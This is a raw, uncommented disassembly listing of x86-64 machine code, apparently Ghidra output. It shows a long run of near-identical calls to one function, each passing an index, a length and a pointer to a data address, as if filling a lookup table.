0040ef3b	4c 89 e6	MOV RSI,R12
0040ef3e	ba 0f 00 00 00	MOV EDX,0xf
0040ef43	bf d8 00 00 00	MOV EDI,0xd8
0040ef48	e8 ad e9 ff ff	CALL FUN_0040d8fa
0040ef4d	ba 06 00 00 00	MOV EDX,0x6
0040ef52	48 8d 35 f7 87 01 00	LEA RSI,[DAT_00427750]
0040ef59	bf d9 00 00 00	MOV EDI,0xd9
0040ef5e	e8 97 e9 ff ff	CALL FUN_0040d8fa
0040ef63	ba 05 00 00 00	MOV EDX,0x5
0040ef68	48 8d 35 e8 87 01 00	LEA RSI,[DAT_00427757]
0040ef6f	bf da 00 00 00	MOV EDI,0xda
0040ef74	e8 81 e9 ff ff	CALL FUN_0040d8fa
0040ef79	4c 8d 25 e3 87 01 00	LEA R12,[DAT_00427763]
0040ef80	ba 05 00 00 00	MOV EDX,0x5
0040ef85	48 8d 35 d1 87 01 00	LEA RSI,[DAT_0042775d]
0040ef8c	bf db 00 00 00	MOV EDI,0xdb
0040ef91	4c 8d 35 ab 88 01 00	LEA R14,[DAT_00427843]
0040ef98	4c 8d 2d aa 88 01 00	LEA R13,[DAT_00427849]
0040ef9f	e8 56 e9 ff ff	CALL FUN_0040d8fa
0040efa4	4c 89 e6	MOV RSI,R12
0040efa7	ba 09 00 00 00	MOV EDX,0x9
0040efac	bf dc 00 00 00	MOV EDI,0xdc
0040efb1	e8 44 e9 ff ff	CALL FUN_0040d8fa
0040efb6	4c 89 e6	MOV RSI,R12
0040efb9	ba 09 00 00 00	MOV EDX,0x9
0040efbe	bf dd 00 00 00	MOV EDI,0xdd
0040efc3	e8 32 e9 ff ff	CALL FUN_0040d8fa
0040efc8	ba 0d 00 00 00	MOV EDX,0xd
0040efcd	48 8d 35 99 87 01 00	LEA RSI,[DAT_0042776d]
0040efd4	bf de 00 00 00	MOV EDI,0xde
0040efd9	e8 1c e9 ff ff	CALL FUN_0040d8fa
0040efde	ba 0d 00 00 00	MOV EDX,0xd
0040efe3	48 8d 35 91 87 01 00	LEA RSI,[DAT_0042777b]
0040efea	bf df 00 00 00	MOV EDI,0xdf
0040efef	e8 06 e9 ff ff	CALL FUN_0040d8fa
0040eff4	ba 0d 00 00 00	MOV EDX,0xd
0040eff9	48 8d 35 89 87 01 00	LEA RSI,[DAT_00427789]
0040f000	bf e0 00 00 00	MOV EDI,0xe0
0040f005	e8 f0 e8 ff ff	CALL FUN_0040d8fa
0040f00a	ba 05 00 00 00	MOV EDX,0x5
0040f00f	48 8d 35 81 87 01 00	LEA RSI,[DAT_00427797]
0040f016	bf e1 00 00 00	MOV EDI,0xe1
0040f01b	e8 da e8 ff ff	CALL FUN_0040d8fa
0040f020	ba 0d 00 00 00	MOV EDX,0xd
0040f025	48 8d 35 71 87 01 00	LEA RSI,[DAT_0042779d]
0040f02c	bf e2 00 00 00	MOV EDI,0xe2
0040f031	e8 c4 e8 ff ff	CALL FUN_0040d8fa
0040f036	ba 12 00 00 00	MOV EDX,0x12
0040f03b	48 8d 35 69 87 01 00	LEA RSI,[DAT_004277ab]
0040f042	bf e3 00 00 00	MOV EDI,0xe3
0040f047	e8 ae e8 ff ff	CALL FUN_0040d8fa
0040f04c	ba 09 00 00 00	MOV EDX,0x9
0040f051	48 8d 35 66 87 01 00	LEA RSI,[DAT_004277be]
0040f058	bf e4 00 00 00	MOV EDI,0xe4
0040f05d	e8 98 e8 ff ff	CALL FUN_0040d8fa
0040f062	ba 13 00 00 00	MOV EDX,0x13
0040f067	48 8d 35 5a 87 01 00	LEA RSI,[DAT_004277c8]
0040f06e	bf e5 00 00 00	MOV EDI,0xe5
0040f073	e8 82 e8 ff ff	CALL FUN_0040d8fa
0040f078	ba 07 00 00 00	MOV EDX,0x7
0040f07d	48 8d 35 58 87 01 00	LEA RSI,[DAT_004277dc]
0040f084	bf e6 00 00 00	MOV EDI,0xe6
0040f089	e8 6c e8 ff ff	CALL FUN_0040d8fa
0040f08e	ba 07 00 00 00	MOV EDX,0x7
0040f093	48 8d 35 4a 87 01 00	LEA RSI,[DAT_004277e4]
0040f09a	bf e7 00 00 00	MOV EDI,0xe7
0040f09f	e8 56 e8 ff ff	CALL FUN_0040d8fa
0040f0a4	ba 06 00 00 00	MOV EDX,0x6
0040f0a9	48 8d 35 3c 87 01 00	LEA RSI,[DAT_004277ec]
0040f0b0	bf e8 00 00 00	MOV EDI,0xe8
0040f0b5	e8 40 e8 ff ff	CALL FUN_0040d8fa
0040f0ba	ba 05 00 00 00	MOV EDX,0x5
0040f0bf	48 8d 35 2d 87 01 00	LEA RSI,[DAT_004277f3]
0040f0c6	bf e9 00 00 00	MOV EDI,0xe9
0040f0cb	e8 2a e8 ff ff	CALL FUN_0040d8fa
0040f0d0	ba 08 00 00 00	MOV EDX,0x8
0040f0d5	48 8d 35 1d 87 01 00	LEA RSI,[DAT_004277f9]
0040f0dc	bf ea 00 00 00	MOV EDI,0xea
0040f0e1	e8 14 e8 ff ff	CALL FUN_0040d8fa
0040f0e6	ba 07 00 00 00	MOV EDX,0x7
0040f0eb	48 8d 35 10 87 01 00	LEA RSI,[DAT_00427802]
0040f0f2	bf eb 00 00 00	MOV EDI,0xeb
0040f0f7	e8 fe e7 ff ff	CALL FUN_0040d8fa
0040f0fc	ba 05 00 00 00	MOV EDX,0x5
0040f101	48 8d 35 02 87 01 00	LEA RSI,[DAT_0042780a]
0040f108	bf ec 00 00 00	MOV EDI,0xec
0040f10d	e8 e8 e7 ff ff	CALL FUN_0040d8fa
0040f112	ba 06 00 00 00	MOV EDX,0x6
0040f117	48 8d 35 f2 86 01 00	LEA RSI,[DAT_00427810]
0040f11e	bf ed 00 00 00	MOV EDI,0xed
0040f123	e8 d2 e7 ff ff	CALL FUN_0040d8fa
0040f128	ba 07 00 00 00	MOV EDX,0x7
0040f12d	48 8d 35 e3 86 01 00	LEA RSI,[DAT_00427817]
0040f134	bf ee 00 00 00	MOV EDI,0xee
0040f139	e8 bc e7 ff ff	CALL FUN_0040d8fa
0040f13e	ba 01 00 00 00	MOV EDX,0x1
0040f143	48 8d 35 e0 7a 01 00	LEA RSI,[DAT_00426c2a]
0040f14a	bf ef 00 00 00	MOV EDI,0xef
0040f14f	e8 a6 e7 ff ff	CALL FUN_0040d8fa
0040f154	ba 04 00 00 00	MOV EDX,0x4
0040f159	4c 8d 05 bf 86 01 00	LEA R8,[DAT_0042781f]
0040f160	bf f0 00 00 00	MOV EDI,0xf0
0040f165	4c 89 c6	MOV RSI,R8
0040f168	4c 8d 25 7e 87 01 00	LEA R12,[DAT_004278ed]
0040f16f	e8 86 e7 ff ff	CALL FUN_0040d8fa
0040f174	ba 04 00 00 00	MOV EDX,0x4
0040f179	bf f1 00 00 00	MOV EDI,0xf1
0040f17e	4c 8d 15 9f 86 01 00	LEA R10,[DAT_00427824]
0040f185	4c 89 d6	MOV RSI,R10
0040f188	e8 6d e7 ff ff	CALL FUN_0040d8fa
0040f18d	ba 04 00 00 00	MOV EDX,0x4
0040f192	bf f2 00 00 00	MOV EDI,0xf2
0040f197	48 8d 35 8b 86 01 00	LEA RSI,[DAT_00427829]
0040f19e	e8 57 e7 ff ff	CALL FUN_0040d8fa
0040f1a3	ba 03 00 00 00	MOV EDX,0x3
0040f1a8	bf f3 00 00 00	MOV EDI,0xf3
0040f1ad	48 8d 35 7a 86 01 00	LEA RSI,[DAT_0042782e]
0040f1b4	e8 41 e7 ff ff	CALL FUN_0040d8fa
0040f1b9	ba 04 00 00 00	MOV EDX,0x4
0040f1be	bf f4 00 00 00	MOV EDI,0xf4
0040f1c3	4c 8d 1d 68 86 01 00	LEA R11,[DAT_00427832]
0040f1ca	4c 89 de	MOV RSI,R11
0040f1cd	e8 28 e7 ff ff	CALL FUN_0040d8fa
0040f1d2	ba 04 00 00 00	MOV EDX,0x4
0040f1d7	bf f5 00 00 00	MOV EDI,0xf5
0040f1dc	4c 8d 0d 54 86 01 00	LEA R9,[DAT_00427837]
0040f1e3	4c 89 ce	MOV RSI,R9
0040f1e6	e8 0f e7 ff ff	CALL FUN_0040d8fa
0040f1eb	ba 06 00 00 00	MOV EDX,0x6
0040f1f0	4c 89 fe	MOV RSI,R15
0040f1f3	bf f6 00 00 00	MOV EDI,0xf6
0040f1f8	e8 fd e6 ff ff	CALL FUN_0040d8fa
0040f1fd	ba 05 00 00 00	MOV EDX,0x5
0040f202	4c 89 f6	MOV RSI,R14
0040f205	bf f7 00 00 00	MOV EDI,0xf7
0040f20a	e8 eb e6 ff ff	CALL FUN_0040d8fa
0040f20f	ba 04 00 00 00	MOV EDX,0x4
0040f214	4c 89 ee	MOV RSI,R13
0040f217	bf f8 00 00 00	MOV EDI,0xf8
0040f21c	e8 d9 e6 ff ff	CALL FUN_0040d8fa
0040f221	ba 04 00 00 00	MOV EDX,0x4
0040f226	bf f9 00 00 00	MOV EDI,0xf9
0040f22b	48 8d 35 1c 86 01 00	LEA RSI,[DAT_0042784e]
0040f232	e8 c3 e6 ff ff	CALL FUN_0040d8fa
0040f237	ba 05 00 00 00	MOV EDX,0x5
0040f23c	bf fa 00 00 00	MOV EDI,0xfa
0040f241	48 8d 35 0b 86 01 00	LEA RSI,[DAT_00427853]
0040f248	e8 ad e6 ff ff	CALL FUN_0040d8fa
0040f24d	ba 07 00 00 00	MOV EDX,0x7
0040f252	48 89 de	MOV RSI,RBX
0040f255	bf fb 00 00 00	MOV EDI,0xfb
0040f25a	e8 9b e6 ff ff	CALL FUN_0040d8fa
0040f25f	ba 09 00 00 00	MOV EDX,0x9
0040f264	bf fd 00 00 00	MOV EDI,0xfd
0040f269	48 8d 35 f1 85 01 00	LEA RSI,[DAT_00427861]
0040f270	e8 85 e6 ff ff	CALL FUN_0040d8fa
0040f275	ba 09 00 00 00	MOV EDX,0x9
0040f27a	bf fe 00 00 00	MOV EDI,0xfe
0040f27f	48 8d 35 e5 85 01 00	LEA RSI,[DAT_0042786b]
0040f286	e8 6f e6 ff ff	CALL FUN_0040d8fa
0040f28b	ba 08 00 00 00	MOV EDX,0x8
0040f290	bf ff 00 00 00	MOV EDI,0xff
0040f295	48 8d 35 d9 85 01 00	LEA RSI,[DAT_00427875]
0040f29c	e8 59 e6 ff ff	CALL FUN_0040d8fa
0040f2a1	ba 08 00 00 00	MOV EDX,0x8
0040f2a6	bf 00 01 00 00	MOV EDI,0x100
0040f2ab	48 8d 35 cc 85 01 00	LEA RSI,[DAT_0042787e]
0040f2b2	e8 43 e6 ff ff	CALL FUN_0040d8fa
0040f2b7	ba 09 00 00 00	MOV EDX,0x9
0040f2bc	bf 01 01 00 00	MOV EDI,0x101
0040f2c1	48 8d 35 bf 85 01 00	LEA RSI,[DAT_00427887]
0040f2c8	e8 2d e6 ff ff	CALL FUN_0040d8fa
0040f2cd	ba 02 00 00 00	MOV EDX,0x2
0040f2d2	bf 02 01 00 00	MOV EDI,0x102
0040f2d7	48 8d 35 b3 85 01 00	LEA RSI,[DAT_00427891]
0040f2de	e8 17 e6 ff ff	CALL FUN_0040d8fa
0040f2e3	ba 04 00 00 00	MOV EDX,0x4
0040f2e8	bf 03 01 00 00	MOV EDI,0x103
0040f2ed	48 8d 35 a0 85 01 00	LEA RSI,[DAT_00427894]
0040f2f4	e8 01 e6 ff ff	CALL FUN_0040d8fa
0040f2f9	ba 04 00 00 00	MOV EDX,0x4
0040f2fe	bf 04 01 00 00	MOV EDI,0x104
0040f303	48 8d 35 8f 85 01 00	LEA RSI,[DAT_00427899]
0040f30a	e8 eb e5 ff ff	CALL FUN_0040d8fa
0040f30f	ba 03 00 00 00	MOV EDX,0x3
0040f314	bf 05 01 00 00	MOV EDI,0x105
0040f319	48 8d 35 7e 85 01 00	LEA RSI,[DAT_0042789e]
0040f320	e8 d5 e5 ff ff	CALL FUN_0040d8fa
0040f325	ba 03 00 00 00	MOV EDX,0x3
0040f32a	bf 06 01 00 00	MOV EDI,0x106
0040f32f	48 8d 35 6c 85 01 00	LEA RSI,[DAT_004278a2]
0040f336	e8 bf e5 ff ff	CALL FUN_0040d8fa
0040f33b	ba 04 00 00 00	MOV EDX,0x4
0040f340	bf 07 01 00 00	MOV EDI,0x107
0040f345	48 8d 35 5a 85 01 00	LEA RSI,[DAT_004278a6]
0040f34c	e8 a9 e5 ff ff	CALL FUN_0040d8fa
0040f351	ba 03 00 00 00	MOV EDX,0x3
0040f356	bf 08 01 00 00	MOV EDI,0x108
0040f35b	48 8d 35 49 85 01 00	LEA RSI,[DAT_004278ab]
0040f362	e8 93 e5 ff ff	CALL FUN_0040d8fa
0040f367	ba 05 00 00 00	MOV EDX,0x5
0040f36c	bf 09 01 00 00	MOV EDI,0x109
0040f371	48 8d 35 37 85 01 00	LEA RSI,[DAT_004278af]
0040f378	e8 7d e5 ff ff	CALL FUN_0040d8fa
0040f37d	ba 08 00 00 00	MOV EDX,0x8
0040f382	bf 0a 01 00 00	MOV EDI,0x10a
0040f387	48 8d 35 27 85 01 00	LEA RSI,[DAT_004278b5]
0040f38e	e8 67 e5 ff ff	CALL FUN_0040d8fa
0040f393	ba 06 00 00 00	MOV EDX,0x6
0040f398	bf 0b 01 00 00	MOV EDI,0x10b
0040f39d	48 8d 35 1a 85 01 00	LEA RSI,[DAT_004278be]
0040f3a4	e8 51 e5 ff ff	CALL FUN_0040d8fa
0040f3a9	ba 08 00 00 00	MOV EDX,0x8
0040f3ae	bf 0c 01 00 00	MOV EDI,0x10c
0040f3b3	48 8d 35 0b 85 01 00	LEA RSI,[DAT_004278c5]
0040f3ba	e8 3b e5 ff ff	CALL FUN_0040d8fa
0040f3bf	ba 04 00 00 00	MOV EDX,0x4
0040f3c4	bf 0d 01 00 00	MOV EDI,0x10d
0040f3c9	48 8d 35 fe 84 01 00	LEA RSI,[DAT_004278ce]
0040f3d0	e8 25 e5 ff ff	CALL FUN_0040d8fa
0040f3d5	ba 08 00 00 00	MOV EDX,0x8
0040f3da	bf 0e 01 00 00	MOV EDI,0x10e
0040f3df	48 8d 35 ed 84 01 00	LEA RSI,[DAT_004278d3]
0040f3e6	e8 0f e5 ff ff	CALL FUN_0040d8fa
0040f3eb	ba 0b 00 00 00	MOV EDX,0xb
0040f3f0	bf 0f 01 00 00	MOV EDI,0x10f
0040f3f5	48 8d 35 e0 84 01 00	LEA RSI,[DAT_004278dc]
0040f3fc	e8 f9 e4 ff ff	CALL FUN_0040d8fa
0040f401	ba 04 00 00 00	MOV EDX,0x4
0040f406	bf 10 01 00 00	MOV EDI,0x110
0040f40b	48 8d 35 d6 84 01 00	LEA RSI,[DAT_004278e8]
0040f412	e8 e3 e4 ff ff	CALL FUN_0040d8fa
0040f417	ba 05 00 00 00	MOV EDX,0x5
0040f41c	4c 89 e6	MOV RSI,R12
0040f41f	bf 11 01 00 00	MOV EDI,0x111
0040f424	e8 d1 e4 ff ff	CALL FUN_0040d8fa
0040f429	48 89 ee	MOV RSI,RBP
0040f42c	ba 05 00 00 00	MOV EDX,0x5
0040f431	bf 12 01 00 00	MOV EDI,0x112
0040f436	e8 bf e4 ff ff	CALL FUN_0040d8fa
0040f43b	ba 21 00 00 00	MOV EDX,0x21
0040f440	bf 13 01 00 00	MOV EDI,0x113
0040f445	48 8d 35 a7 84 01 00	LEA RSI,[DAT_004278f3]
0040f44c	e8 a9 e4 ff ff	CALL FUN_0040d8fa
0040f451	ba 20 00 00 00	MOV EDX,0x20
0040f456	bf 14 01 00 00	MOV EDI,0x114
0040f45b	48 8d 35 b3 84 01 00	LEA RSI,[DAT_00427915]
0040f462	e8 93 e4 ff ff	CALL FUN_0040d8fa
0040f467	ba 12 00 00 00	MOV EDX,0x12
0040f46c	bf 15 01 00 00	MOV EDI,0x115
0040f471	48 8d 35 be 84 01 00	LEA RSI,[DAT_00427936]
0040f478	e8 7d e4 ff ff	CALL FUN_0040d8fa
0040f47d	ba 12 00 00 00	MOV EDX,0x12
0040f482	bf 16 01 00 00	MOV EDI,0x116
0040f487	48 8d 35 bb 84 01 00	LEA RSI,[DAT_00427949]
0040f48e	e8 67 e4 ff ff	CALL FUN_0040d8fa
0040f493	ba 03 00 00 00	MOV EDX,0x3
0040f498	bf 17 01 00 00	MOV EDI,0x117
0040f49d	48 8d 35 b8 84 01 00	LEA RSI,[DAT_0042795c]
0040f4a4	e8 51 e4 ff ff	CALL FUN_0040d8fa
0040f4a9	ba 08 00 00 00	MOV EDX,0x8
0040f4ae	bf 18 01 00 00	MOV EDI,0x118
0040f4b3	48 8d 35 a6 84 01 00	LEA RSI,[DAT_00427960]
0040f4ba	e8 3b e4 ff ff	CALL FUN_0040d8fa
0040f4bf	ba 04 00 00 00	MOV EDX,0x4
0040f4c4	bf 19 01 00 00	MOV EDI,0x119
0040f4c9	48 8d 35 99 84 01 00	LEA RSI,[DAT_00427969]
0040f4d0	e8 25 e4 ff ff	CALL FUN_0040d8fa
0040f4d5	ba 0b 00 00 00	MOV EDX,0xb
0040f4da	bf 1a 01 00 00	MOV EDI,0x11a
0040f4df	48 8d 35 88 84 01 00	LEA RSI,[DAT_0042796e]
0040f4e6	e8 0f e4 ff ff	CALL FUN_0040d8fa
0040f4eb	ba 0a 00 00 00	MOV EDX,0xa
0040f4f0	bf 1b 01 00 00	MOV EDI,0x11b
0040f4f5	48 8d 35 7e 84 01 00	LEA RSI,[DAT_0042797a]
0040f4fc	e8 f9 e3 ff ff	CALL FUN_0040d8fa
0040f501	ba 09 00 00 00	MOV EDX,0x9
0040f506	bf 1c 01 00 00	MOV EDI,0x11c
0040f50b	48 8d 35 73 84 01 00	LEA RSI,[DAT_00427985]
0040f512	e8 e3 e3 ff ff	CALL FUN_0040d8fa
0040f517	ba 04 00 00 00	MOV EDX,0x4
0040f51c	bf 1d 01 00 00	MOV EDI,0x11d
0040f521	48 8d 35 67 84 01 00	LEA RSI,[DAT_0042798f]
0040f528	e8 cd e3 ff ff	CALL FUN_0040d8fa
0040f52d	ba 04 00 00 00	MOV EDX,0x4
0040f532	bf 1e 01 00 00	MOV EDI,0x11e
0040f537	48 8d 35 56 84 01 00	LEA RSI,[DAT_00427994]
0040f53e	e8 b7 e3 ff ff	CALL FUN_0040d8fa
0040f543	ba 05 00 00 00	MOV EDX,0x5
0040f548	bf 1f 01 00 00	MOV EDI,0x11f
0040f54d	48 8d 35 45 84 01 00	LEA RSI,[DAT_00427999]
0040f554	e8 a1 e3 ff ff	CALL FUN_0040d8fa
0040f559	ba 04 00 00 00	MOV EDX,0x4
0040f55e	bf 20 01 00 00	MOV EDI,0x120
0040f563	48 8d 35 35 84 01 00	LEA RSI,[DAT_0042799f]
0040f56a	e8 8b e3 ff ff	CALL FUN_0040d8fa
0040f56f	ba 05 00 00 00	MOV EDX,0x5
0040f574	bf 21 01 00 00	MOV EDI,0x121
0040f579	48 8d 35 24 84 01 00	LEA RSI,[DAT_004279a4]
0040f580	e8 75 e3 ff ff	CALL FUN_0040d8fa
0040f585	ba 04 00 00 00	MOV EDX,0x4
0040f58a	bf 22 01 00 00	MOV EDI,0x122
0040f58f	48 8d 35 14 84 01 00	LEA RSI,[DAT_004279aa]
0040f596	e8 5f e3 ff ff	CALL FUN_0040d8fa
0040f59b	ba 04 00 00 00	MOV EDX,0x4
0040f5a0	bf 23 01 00 00	MOV EDI,0x123
0040f5a5	48 8d 35 03 84 01 00	LEA RSI,[DAT_004279af]
0040f5ac	e8 49 e3 ff ff	CALL FUN_0040d8fa
0040f5b1	ba 04 00 00 00	MOV EDX,0x4
0040f5b6	bf 24 01 00 00	MOV EDI,0x124
0040f5bb	48 8d 35 cd 8c 01 00	LEA RSI,[DAT_0042828f]
0040f5c2	e8 33 e3 ff ff	CALL FUN_0040d8fa
0040f5c7	ba 04 00 00 00	MOV EDX,0x4
0040f5cc	bf 25 01 00 00	MOV EDI,0x125
0040f5d1	48 8d 35 dc 83 01 00	LEA RSI,[DAT_004279b4]
0040f5d8	e8 1d e3 ff ff	CALL FUN_0040d8fa
0040f5dd	ba 05 00 00 00	MOV EDX,0x5
0040f5e2	bf 26 01 00 00	MOV EDI,0x126
0040f5e7	48 8d 35 cb 83 01 00	LEA RSI,[DAT_004279b9]
0040f5ee	e8 07 e3 ff ff	CALL FUN_0040d8fa
0040f5f3	ba 04 00 00 00	MOV EDX,0x4
0040f5f8	bf 27 01 00 00	MOV EDI,0x127
0040f5fd	48 8d 35 bb 83 01 00	LEA RSI,[DAT_004279bf]
0040f604	e8 f1 e2 ff ff	CALL FUN_0040d8fa
0040f609	ba 10 00 00 00	MOV EDX,0x10
0040f60e	bf 28 01 00 00	MOV EDI,0x128
0040f613	48 8d 35 aa 83 01 00	LEA RSI,[DAT_004279c4]
0040f61a	e8 db e2 ff ff	CALL FUN_0040d8fa
0040f61f	ba 06 00 00 00	MOV EDX,0x6
0040f624	bf 29 01 00 00	MOV EDI,0x129
0040f629	48 8d 35 a5 83 01 00	LEA RSI,[DAT_004279d5]
0040f630	e8 c5 e2 ff ff	CALL FUN_0040d8fa
0040f635	ba 08 00 00 00	MOV EDX,0x8
0040f63a	bf 2a 01 00 00	MOV EDI,0x12a
0040f63f	48 8d 35 96 83 01 00	LEA RSI,[DAT_004279dc]
0040f646	e8 af e2 ff ff	CALL FUN_0040d8fa
0040f64b	ba 19 00 00 00	MOV EDX,0x19
0040f650	bf 2b 01 00 00	MOV EDI,0x12b
0040f655	48 8d 35 89 83 01 00	LEA RSI,[DAT_004279e5]
0040f65c	e8 99 e2 ff ff	CALL FUN_0040d8fa
0040f661	ba 07 00 00 00	MOV EDX,0x7
0040f666	bf 2c 01 00 00	MOV EDI,0x12c
0040f66b	48 8d 35 8d 83 01 00	LEA RSI,[DAT_004279ff]
0040f672	e8 83 e2 ff ff	CALL FUN_0040d8fa
0040f677	ba 12 00 00 00	MOV EDX,0x12
0040f67c	bf 2d 01 00 00	MOV EDI,0x12d
0040f681	48 8d 35 7f 83 01 00	LEA RSI,[DAT_00427a07]
0040f688	e8 6d e2 ff ff	CALL FUN_0040d8fa
0040f68d	ba 04 00 00 00	MOV EDX,0x4
0040f692	bf 2e 01 00 00	MOV EDI,0x12e
0040f697	48 8d 35 7c 83 01 00	LEA RSI,[DAT_00427a1a]
0040f69e	e8 57 e2 ff ff	CALL FUN_0040d8fa
0040f6a3	ba 04 00 00 00	MOV EDX,0x4
0040f6a8	bf 2f 01 00 00	MOV EDI,0x12f
0040f6ad	48 8d 35 6b 83 01 00	LEA RSI,[DAT_00427a1f]
0040f6b4	e8 41 e2 ff ff	CALL FUN_0040d8fa
0040f6b9	ba 09 00 00 00	MOV EDX,0x9
0040f6be	bf 30 01 00 00	MOV EDI,0x130
0040f6c3	48 8d 35 5a 83 01 00	LEA RSI,[DAT_00427a24]
0040f6ca	e8 2b e2 ff ff	CALL FUN_0040d8fa
0040f6cf	ba 54 00 00 00	MOV EDX,0x54
0040f6d4	bf 31 01 00 00	MOV EDI,0x131
0040f6d9	48 8d 35 4e 83 01 00	LEA RSI,[DAT_00427a2e]
0040f6e0	e8 15 e2 ff ff	CALL FUN_0040d8fa
0040f6e5	ba 04 00 00 00	MOV EDX,0x4
0040f6ea	bf 32 01 00 00	MOV EDI,0x132
0040f6ef	48 8d 35 8d 83 01 00	LEA RSI,[DAT_00427a83]
0040f6f6	e8 ff e1 ff ff	CALL FUN_0040d8fa
0040f6fb	ba 0e 00 00 00	MOV EDX,0xe
0040f700	bf 33 01 00 00	MOV EDI,0x133
0040f705	48 8d 35 7c 83 01 00	LEA RSI,[DAT_00427a88]
0040f70c	e8 e9 e1 ff ff	CALL FUN_0040d8fa
0040f711	ba 04 00 00 00	MOV EDX,0x4
0040f716	bf 34 01 00 00	MOV EDI,0x134
0040f71b	48 8d 35 75 83 01 00	LEA RSI,[DAT_00427a97]
0040f722	e8 d3 e1 ff ff	CALL FUN_0040d8fa
0040f727	ba 08 00 00 00	MOV EDX,0x8
0040f72c	bf 35 01 00 00	MOV EDI,0x135
0040f731	48 8d 35 64 83 01 00	LEA RSI,[DAT_00427a9c]
0040f738	e8 bd e1 ff ff	CALL FUN_0040d8fa
0040f73d	ba 04 00 00 00	MOV EDX,0x4
0040f742	bf 36 01 00 00	MOV EDI,0x136
0040f747	48 8d 35 57 83 01 00	LEA RSI,[DAT_00427aa5]
0040f74e	e8 a7 e1 ff ff	CALL FUN_0040d8fa
0040f753	ba 0c 00 00 00	MOV EDX,0xc
0040f758	bf 37 01 00 00	MOV EDI,0x137
0040f75d	48 8d 35 46 83 01 00	LEA RSI,[DAT_00427aaa]
0040f764	e8 91 e1 ff ff	CALL FUN_0040d8fa
0040f769	ba 07 00 00 00	MOV EDX,0x7
0040f76e	48 89 de	MOV RSI,RBX
0040f771	bf 38 01 00 00	MOV EDI,0x138
0040f776	e8 7f e1 ff ff	CALL FUN_0040d8fa
0040f77b	ba 13 00 00 00	MOV EDX,0x13
0040f780	bf 39 01 00 00	MOV EDI,0x139
0040f785	48 8d 35 2b 83 01 00	LEA RSI,[DAT_00427ab7]
0040f78c	e8 69 e1 ff ff	CALL FUN_0040d8fa
0040f791	ba 13 00 00 00	MOV EDX,0x13
0040f796	bf 3a 01 00 00	MOV EDI,0x13a
0040f79b	48 8d 35 29 83 01 00	LEA RSI,[DAT_00427acb]
0040f7a2	e8 53 e1 ff ff	CALL FUN_0040d8fa
0040f7a7	ba 12 00 00 00	MOV EDX,0x12
0040f7ac	bf 3b 01 00 00	MOV EDI,0x13b
0040f7b1	48 8d 35 dc 8a 01 00	LEA RSI,[DAT_00428294]
0040f7b8	e8 3d e1 ff ff	CALL FUN_0040d8fa
0040f7bd	ba 12 00 00 00	MOV EDX,0x12
0040f7c2	bf 3c 01 00 00	MOV EDI,0x13c
0040f7c7	48 8d 35 d9 8a 01 00	LEA RSI,[DAT_004282a7]
0040f7ce	e8 27 e1 ff ff	CALL FUN_0040d8fa
0040f7d3	ba 13 00 00 00	MOV EDX,0x13
0040f7d8	bf 3d 01 00 00	MOV EDI,0x13d
0040f7dd	48 8d 35 fb 82 01 00	LEA RSI,[DAT_00427adf]
0040f7e4	e8 11 e1 ff ff	CALL FUN_0040d8fa
0040f7e9	ba 0f 00 00 00	MOV EDX,0xf
0040f7ee	bf 3e 01 00 00	MOV EDI,0x13e
0040f7f3	48 8d 35 f9 82 01 00	LEA RSI,[DAT_00427af3]
0040f7fa	e8 fb e0 ff ff	CALL FUN_0040d8fa
0040f7ff	ba 10 00 00 00	MOV EDX,0x10
0040f804	bf 3f 01 00 00	MOV EDI,0x13f
0040f809	48 8d 35 f3 82 01 00	LEA RSI,[DAT_00427b03]
0040f810	e8 e5 e0 ff ff	CALL FUN_0040d8fa
0040f815	ba 11 00 00 00	MOV EDX,0x11
0040f81a	bf 40 01 00 00	MOV EDI,0x140
0040f81f	48 8d 35 ee 82 01 00	LEA RSI,[DAT_00427b14]
0040f826	e8 cf e0 ff ff	CALL FUN_0040d8fa
0040f82b	ba 0f 00 00 00	MOV EDX,0xf
0040f830	bf 41 01 00 00	MOV EDI,0x141
0040f835	48 8d 35 ea 82 01 00	LEA RSI,[DAT_00427b26]
0040f83c	e8 b9 e0 ff ff	CALL FUN_0040d8fa
0040f841	ba 10 00 00 00	MOV EDX,0x10
0040f846	bf 42 01 00 00	MOV EDI,0x142
0040f84b	48 8d 35 e4 82 01 00	LEA RSI,[DAT_00427b36]
0040f852	e8 a3 e0 ff ff	CALL FUN_0040d8fa
0040f857	ba 0c 00 00 00	MOV EDX,0xc
0040f85c	bf 43 01 00 00	MOV EDI,0x143
0040f861	48 8d 35 df 82 01 00	LEA RSI,[DAT_00427b47]
0040f868	e8 8d e0 ff ff	CALL FUN_0040d8fa
0040f86d	ba 0e 00 00 00	MOV EDX,0xe
0040f872	bf 44 01 00 00	MOV EDI,0x144
0040f877	48 8d 35 d6 82 01 00	LEA RSI,[DAT_00427b54]
0040f87e	e8 77 e0 ff ff	CALL FUN_0040d8fa
0040f883	ba 20 00 00 00	MOV EDX,0x20
0040f888	bf 45 01 00 00	MOV EDI,0x145
0040f88d	48 8d 35 cf 82 01 00	LEA RSI,[DAT_00427b63]
0040f894	e8 61 e0 ff ff	CALL FUN_0040d8fa
0040f899	ba 0e 00 00 00	MOV EDX,0xe
0040f89e	bf 46 01 00 00	MOV EDI,0x146
0040f8a3	48 8d 35 da 82 01 00	LEA RSI,[DAT_00427b84]
0040f8aa	e8 4b e0 ff ff	CALL FUN_0040d8fa
0040f8af	ba 0d 00 00 00	MOV EDX,0xd
0040f8b4	bf 47 01 00 00	MOV EDI,0x147
0040f8b9	48 8d 35 d3 82 01 00	LEA RSI,[DAT_00427b93]
0040f8c0	e8 35 e0 ff ff	CALL FUN_0040d8fa
0040f8c5	ba 0b 00 00 00	MOV EDX,0xb
0040f8ca	bf 48 01 00 00	MOV EDI,0x148
0040f8cf	48 8d 35 cb 82 01 00	LEA RSI,[DAT_00427ba1]
0040f8d6	e8 1f e0 ff ff	CALL FUN_0040d8fa
0040f8db	ba 12 00 00 00	MOV EDX,0x12
0040f8e0	bf 49 01 00 00	MOV EDI,0x149
0040f8e5	48 8d 35 c1 82 01 00	LEA RSI,[DAT_00427bad]
0040f8ec	e8 09 e0 ff ff	CALL FUN_0040d8fa
0040f8f1	ba 08 00 00 00	MOV EDX,0x8
0040f8f6	bf 4a 01 00 00	MOV EDI,0x14a
0040f8fb	48 8d 35 be 82 01 00	LEA RSI,[DAT_00427bc0]
0040f902	e8 f3 df ff ff	CALL FUN_0040d8fa
0040f907	ba 04 00 00 00	MOV EDX,0x4
0040f90c	bf 4b 01 00 00	MOV EDI,0x14b
0040f911	4c 8d 1d 1a 7f 01 00	LEA R11,[DAT_00427832]
0040f918	4c 89 de	MOV RSI,R11
0040f91b	e8 da df ff ff	CALL FUN_0040d8fa
